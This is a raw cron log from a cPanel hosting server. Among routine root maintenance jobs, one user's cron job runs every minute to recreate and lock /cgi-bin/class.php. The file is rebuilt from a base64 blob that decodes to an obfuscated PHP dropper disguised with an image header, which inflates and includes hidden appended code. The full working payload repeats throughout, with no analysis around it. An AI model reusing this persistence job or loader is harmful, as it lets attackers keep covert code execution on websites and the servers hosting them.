Sep 11 01:58:01 server CROND[25148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:59:01 server CROND[25613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:59:01 server CROND[25614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:59:01 server CROND[25615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:00:01 server CROND[25997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:00:01 server CROND[25998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:00:01 server CROND[26003]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:00:01 server CROND[26002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:00:01 server CROND[26011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:00:01 server CROND[26006]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 02:00:01 server CROND[26012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:00:01 server CROND[26015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:00:01 server CROND[26008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:00:01 server CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 02:00:01 server CROND[26010]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 11 02:01:01 server CROND[26910]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 02:01:01 server CROND[26911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:01:01 server CROND[26912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:01:01 server CROND[26913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:01:01 server run-parts(/etc/cron.hourly)[26910]: starting 0anacron
Sep 11 02:01:01 server anacron[26932]: Anacron started on 2026-09-11
Sep 11 02:01:01 server run-parts(/etc/cron.hourly)[26935]: finished 0anacron
Sep 11 02:01:01 server anacron[26932]: Normal exit (0 jobs run)
Sep 11 02:02:01 server CROND[27341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:02:01 server CROND[27342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:02:01 server CROND[27343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:03:01 server CROND[27720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:03:01 server CROND[27721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:03:01 server CROND[27728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:04:02 server CROND[28197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:04:02 server CROND[28199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:04:02 server CROND[28200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:05:01 server CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:05:01 server CROND[28579]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 02:05:01 server CROND[28581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:05:01 server CROND[28580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:05:01 server CROND[28585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:05:01 server CROND[28584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:05:01 server CROND[28586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:05:01 server CROND[28582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:05:01 server CROND[28583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:06:01 server CROND[29474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:06:01 server CROND[29475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:06:01 server CROND[29476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:07:01 server CROND[29839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:07:01 server CROND[29840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:07:01 server CROND[29843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:08:01 server CROND[30201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:08:01 server CROND[30202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:08:01 server CROND[30203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:09:01 server CROND[30678]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 02:09:01 server CROND[30680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:09:01 server CROND[30683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
